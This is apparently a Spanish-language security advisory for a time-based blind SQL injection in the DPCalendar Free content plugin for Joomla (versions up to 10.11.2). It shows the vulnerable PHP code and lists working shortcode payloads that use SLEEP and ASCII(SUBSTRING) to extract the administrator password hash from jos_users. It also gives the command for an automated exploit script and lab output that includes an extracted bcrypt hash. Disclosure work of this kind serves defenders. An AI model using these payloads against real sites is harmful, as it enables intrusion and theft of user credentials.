
Inyección SQL mediante el shortcode ORDER BY en plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — Un usuario con rol Autor extrae la base de datos completa mediante inyección ciega basada en tiempo
El plugin de contenido plg_content_dpcalendar analiza los shortcodes {{#events order="..."}}{{/events}} incrustados en el cuerpo de los artículos de Joomla. El valor del parámetro se pasa directamente a , omitiendo por completo la lista blanca de del propio modelo. El valor se inserta luego en una cláusula SQL protegida únicamente por — insuficiente para bloquear la inyección mediante subconsultas.
orderEventsModel::setState('list.ordering', ...)populateState()ORDER BYDatabaseDriver::escape()Un usuario con rol Autor que pueda crear o editar artículos puede explotar esto para extraer datos de la base de datos mediante inyección SQL ciega basada en tiempo. La inyección SQL se ejecuta dentro de la propia solicitud de guardado del artículo del atacante — sin interacción de la víctima, sin artículo publicado y sin participación de un administrador.
| COMPONENTE | VULNERABLE | PROBADO EN | CORREGIDO |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
Nota: Esta vulnerabilidad es distinta de CVE-2026-57831 (SQLi no autenticada en
EventsModel.phpmediantefilter_created_by, corregida en v10.11.2). El hallazgo actual afecta al plugin de contenido (plg_content_dpcalendar) — un archivo diferente, un parámetro diferente, y no estaba parcheado en la última versión disponible en el momento del descubrimiento.
Tipo: Inyección SQL (CWE-89) — Ciega basada en tiempo
Autenticación requerida: Rol Autor (puede crear/editar artículos de Joomla)
Endpoint: POST /index.php/submit-article?view=form&layout=edit
Archivo: plg_content_dpcalendar/src/Extension/DPCalendar.php
El analizador de shortcodes del plugin itera sobre todos los parámetros clave-valor en una etiqueta {{#events}} y establece el estado del modelo directamente, omitiendo por completo la validación de la lista blanca de populateState():
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — MANEJO VULNERABLE DE PARÁMETROS
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// VULNERABLE: establece el estado de ordenación directamente desde la entrada del usuario
// omite por completo la lista blanca de populateState()
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
El valor contaminado fluye hacia EventsModel::getListQuery() con solo el escape de comillas aplicado — insuficiente para bloquear la inyección mediante subconsultas en un contexto ORDER BY:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — CONSTRUCCIÓN DEL ORDER BY
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() solo escapa comillas — NO previene la inyección mediante subconsultas
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
Una subconsulta como (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) pasa a través de $db->escape() sin modificaciones porque no contiene caracteres de comillas. El SQL resultante se convierte en:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
La expresión ORDER BY solo se evalúa cuando el conjunto de resultados no está vacío — lo que requiere al menos un evento futuro publicado de DPCalendar, la condición estándar para cualquier instalación activa de DPCalendar.
Comportamiento clave: La inyección SQL se ejecuta dentro de la propia solicitud POST de guardado/edición — el retardo de tiempo es observable directamente en la respuesta HTTP (redirección 303). El atacante mide el tiempo de respuesta de su propia solicitud POST; no se requiere visualización de artículos, recarga de página ni paso de publicación.
Requisitos previos:
plg_content_dpcalendar habilitado (activado por defecto en la instalación de DPCalendar)start_date futuraEscenario: SQLi ciega basada en tiempo → Extracción de credenciales de administrador
El plugin establece filter.state = 1 y list.start-date = NOW() antes de construir la consulta. Las subconsultas ORDER BY solo se ejecutan cuando el conjunto de resultados contiene filas; si 0 filas coinciden, SLEEP() nunca se llama.

Autenticarse en el frontend de Joomla usando una cuenta de Autor. No se requiere acceso de administrador en ningún momento de este ataque.

Navegar al formulario de envío de artículos del frontend (/submit-article). Insertar el siguiente payload en el cuerpo del artículo y hacer clic en Guardar:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
La propia respuesta POST se retrasa ~5 segundos. onContentPrepare se ejecuta durante el pipeline de guardado de Joomla, invocando la consulta vulnerable antes de que se emita la redirección 303. No se necesita visualización del artículo ni publicación.

Reemplazar 1=1 por 1=2 (siempre falso). SLEEP no se activa y la respuesta regresa inmediatamente (~100 ms), confirmando una separación de tiempo fiable.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

Usar comparaciones ASCII(SUBSTRING(...)) para leer cada carácter. Se deben evitar las comillas simples (la expresión regular del shortcode [^"\']* se detiene en cualquier carácter de comilla); usar valores ASCII decimales en su lugar:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
Tiempo de respuesta ~5s → TRUE → char[1] = '$' (ASCII 36 — primer carácter de un hash bcrypt $2y$10$...).

Ejecutar exploit/exploit.py para automatizar el bucle de extracción byte a byte:
python3 exploit/exploit.py http://TARGET
El script inicia sesión como Autor, envía payloads manipulados y extrae el nombre de usuario, el correo electrónico y el hash completo de 60 caracteres de la contraseña bcrypt. Resultado confirmado en laboratorio: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

| Condición | Tiempo de respuesta |
|---|---|
TRUE: ASCII(SUBSTR(password,1,1))=36 | ~5.000 ms |
FALSE: ASCII(SUBSTR(password,1,1))=65 | ~100 ms |
jos_users.password), tokens de sesión y correos electrónicos de usuarios, mediante inyección SQL ciega basada en tiempo.